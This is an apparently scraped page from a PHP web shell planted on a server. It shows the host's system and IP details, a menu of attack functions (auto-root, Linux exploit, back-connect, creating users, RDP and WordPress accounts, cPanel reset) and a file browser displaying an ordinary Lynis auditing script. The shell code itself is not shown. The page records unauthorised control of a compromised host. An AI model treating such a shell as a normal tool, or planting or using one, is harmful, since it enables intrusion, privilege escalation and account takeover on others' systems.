Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
lynis /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
binaries
38.36
KB
-rw-r--r--
consts
10.77
KB
-rw-r--r--
data_upload
13.63
KB
-rw-r--r--
functions
157.68
KB
-rw-r--r--
helper_audit_dockerfile
7.82
KB
-rw-r--r--
helper_configure
3.67
KB
-rw-r--r--
helper_generate
7.39
KB
-rw-r--r--
helper_show
22.29
KB
-rw-r--r--
helper_system_remote_scan
3.54
KB
-rw-r--r--
helper_update
3.59
KB
-rw-r--r--
osdetection
37.98
KB
-rw-r--r--
parameters
16.48
KB
-rw-r--r--
profiles
26.89
KB
-rw-r--r--
report
16.45
KB
-rw-r--r--
tests_accounting
25.48
KB
-rw-r--r--
tests_authentication
84.03
KB
-rw-r--r--
tests_banners
8.35
KB
-rw-r--r--
tests_boot_services
54.51
KB
-rw-r--r--
tests_containers
11.29
KB
-rw-r--r--
tests_crypto
17.67
KB
-rw-r--r--
tests_custom.template
6.78
KB
-rw-r--r--
tests_databases
23.72
KB
-rw-r--r--
tests_dns
3.39
KB
-rw-r--r--
tests_file_integrity
21.41
KB
-rw-r--r--
tests_file_permissions
3.25
KB
-rw-r--r--
tests_filesystems
46.33
KB
-rw-r--r--
tests_firewalls
29.96
KB
-rw-r--r--
tests_hardening
7.01
KB
-rw-r--r--
tests_homedirs
9.17
KB
-rw-r--r--
tests_insecure_services
26.73
KB
-rw-r--r--
tests_kernel
60.76
KB
-rw-r--r--
tests_kernel_hardening
5.62
KB
-rw-r--r--
tests_ldap
3.96
KB
-rw-r--r--
tests_logging
31.25
KB
-rw-r--r--
tests_mac_frameworks
14.53
KB
-rw-r--r--
tests_mail_messaging
21.45
KB
-rw-r--r--
tests_malware
18.44
KB
-rw-r--r--
tests_memory_processes
7.17
KB
-rw-r--r--
tests_nameservices
34.51
KB
-rw-r--r--
tests_networking
40.67
KB
-rw-r--r--
tests_php
27.48
KB
-rw-r--r--
tests_ports_packages
78.76
KB
-rw-r--r--
tests_printers_spoolers
13.85
KB
-rw-r--r--
tests_scheduling
15.74
KB
-rw-r--r--
tests_shells
13.37
KB
-rw-r--r--
tests_snmp
4.32
KB
-rw-r--r--
tests_squid
16.9
KB
-rw-r--r--
tests_ssh
17.59
KB
-rw-r--r--
tests_storage
3.74
KB
-rw-r--r--
tests_storage_nfs
8.4
KB
-rw-r--r--
tests_system_integrity
2.13
KB
-rw-r--r--
tests_time
32.61
KB
-rw-r--r--
tests_tooling
20.87
KB
-rw-r--r--
tests_usb
21.04
KB
-rw-r--r--
tests_virtualization
1.95
KB
-rw-r--r--
tests_webservers
30.9
KB
-rw-r--r--
tool_tips
2.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tests_memory_processes
#!/bin/sh ################################################################################# # # Lynis # ------------------ # # Copyright 2007-2013, Michael Boelen # Copyright 2007-2021, CISOfy # # Website : https://cisofy.com # Blog : http://linux-audit.com # GitHub : https://github.com/CISOfy/lynis # # Lynis comes with ABSOLUTELY NO WARRANTY. This is free software, and you are # welcome to redistribute it under the terms of the GNU General Public License. # See LICENSE file for usage of this software. # ################################################################################# # # Memory and processes # ################################################################################# # InsertSection "${SECTION_MEMORY_AND_PROCESSES}" # ################################################################################# # # Test : PROC-3602 # Description : Query /proc/meminfo Register --test-no PROC-3602 --os Linux --weight L --network NO --category security --description "Checking /proc/meminfo for memory details" if [ ${SKIPTEST} -eq 0 ]; then if [ -f ${ROOTDIR}proc/meminfo ]; then LogText "Result: found ${ROOTDIR}proc/meminfo" Display --indent 2 --text "- Checking ${ROOTDIR}proc/meminfo" --result "${STATUS_FOUND}" --color GREEN FIND=$(${AWKBINARY} '/^MemTotal/ { print $2, $3 }' ${ROOTDIR}proc/meminfo) MEMORY_SIZE=$(echo ${FIND} | ${AWKBINARY} '{ print $1 }') MEMORY_UNITS=$(echo ${FIND} | ${AWKBINARY} '{ print $2 }') LogText "Result: Found ${MEMORY_SIZE} ${MEMORY_UNITS} memory" Report "memory_size=${MEMORY_SIZE}" Report "memory_units=${MEMORY_UNITS}" else LogText "Result: ${ROOTDIR}proc/meminfo file not found on this system" fi fi # ################################################################################# # # Test : PROC-3604 # Description : Query /proc/meminfo # Notes : TODO - prtconf replacement Register --test-no PROC-3604 --os Solaris --weight L --network NO --category security --description "Query prtconf for memory details" if [ ${SKIPTEST} -eq 0 ]; then LogText "Test: Searching /usr/sbin/prtconf" if [ -x /usr/sbin/prtconf ]; then Display --indent 2 --text "- Querying prtconf for installed memory" --result "${STATUS_DONE}" --color GREEN MEMORY_SIZE=$(/usr/sbin/prtconf | ${GREPBINARY} "^Memory size:" | ${CUTBINARY} -d ' ' -f3) MEMORY_UNITS=$(/usr/sbin/prtconf | ${GREPBINARY} "^Memory size:" | ${CUTBINARY} -d ' ' -f4) LogText "Result: Found ${MEMORY_SIZE} ${MEMORY_UNITS} memory" Report "memory_size=${MEMORY_SIZE}" Report "memory_units=${MEMORY_UNITS}" else Display --indent 2 --text "- Querying prtconf for installed memory" --result "${STATUS_SKIPPED}" --color WHITE LogText "Result: /usr/sbin/prtconf not found" fi fi # ################################################################################# # # Test : PROC-3612 # Description : Searching for dead and zombie processes # Notes : Don't perform test on Solaris if [ ! "${OS}" = "Solaris" ]; then PREQS_MET="YES"; else PREQS_MET="NO"; fi Register --test-no PROC-3612 --preqs-met ${PREQS_MET} --weight L --network NO --category security --description "Check dead or zombie processes" if [ ${SKIPTEST} -eq 0 ]; then if [ "${OS}" = "AIX" ]; then FIND=$(${PSBINARY} -Ae -o pid,stat,comm | ${AWKBINARY} '{ if ($2 ~ /Z|X/) print $1 }' | ${XARGSBINARY}) else FIND=$(${PSBINARY} x -o pid,stat,comm | ${AWKBINARY} '{ if ($2 ~ /Z|X/) print $1 }' | ${XARGSBINARY}) fi if [ -z "${FIND}" ]; then LogText "Result: no zombie processes found" Display --indent 2 --text "- Searching for dead/zombie processes" --result "${STATUS_NOT_FOUND}" --color GREEN else LogText "Result: found one or more dead or zombie processes" LogText "Output: PIDs ${FIND}" Display --indent 2 --text "- Searching for dead/zombie processes" --result "${STATUS_FOUND}" --color RED ReportSuggestion "${TEST_NO}" "Check the output of ps for dead or zombie processes" fi fi # ################################################################################# # # Test : PROC-3614 # Description : Searching for heavy IO based waiting processes # Notes : Don't perform test on Solaris if [ ! "${OS}" = "Solaris" ]; then PREQS_MET="YES"; else PREQS_MET="NO"; fi Register --test-no PROC-3614 --preqs-met ${PREQS_MET} --weight L --network NO --category security --description "Check heavy IO waiting based processes" if [ ${SKIPTEST} -eq 0 ]; then if [ "${OS}" = "AIX" ]; then FIND=$(${PSBINARY} -Ae -o pid,stat,comm | ${AWKBINARY} '{ if ($2=="D") print $1 }' | ${XARGSBINARY}) else FIND=$(${PSBINARY} x -o pid,stat,comm | ${AWKBINARY} '{ if ($2=="D") print $1 }' | ${XARGSBINARY}) fi if [ -z "${FIND}" ]; then LogText "Result: No processes were waiting for IO requests to be handled first" Display --indent 2 --text "- Searching for IO waiting processes" --result "${STATUS_NOT_FOUND}" --color GREEN else LogText "Result: found one or more processes which were waiting to get IO requests handled first" LogText "More info: processes which show up with the status flag 'D' are often stuck, until a disk IO event finished. This can happen for example with network storage, where the connection or protocol settings are not logtext well configured." LogText "Output: PIDs ${FIND}" Display --indent 2 --text "- Searching for IO waiting processes" --result "${STATUS_FOUND}" --color RED ReportSuggestion "${TEST_NO}" "Check process listing for processes waiting for IO requests" fi fi # ################################################################################# # # Test : PROC-3802 # Description : Check presence of prelink tooling Register --test-no PROC-3802 --package-manager-required --os Linux --weight L --network NO --category security --description "Check presence of prelink tooling" if [ ${SKIPTEST} -eq 0 ]; then if PackageIsInstalled "prelink"; then LogText "Result: prelink packages is installed" # TODO # - Add item to website with rationale #ReportSuggestion "${TEST_NO}" "Disable and remove prelinking of binaries" AddHP 1 3 Display --indent 2 --text "- Search prelink tooling" --result "${STATUS_FOUND}" --color YELLOW else Display --indent 2 --text "- Search prelink tooling" --result "${STATUS_NOT_FOUND}" --color GREEN LogText "Result: prelink package is NOT installed" AddHP 3 3 fi fi # ################################################################################# # WaitForKeyPress # #================================================================================ # Lynis - Security Auditing and System Hardening for Linux and UNIX - https://cisofy.com
Close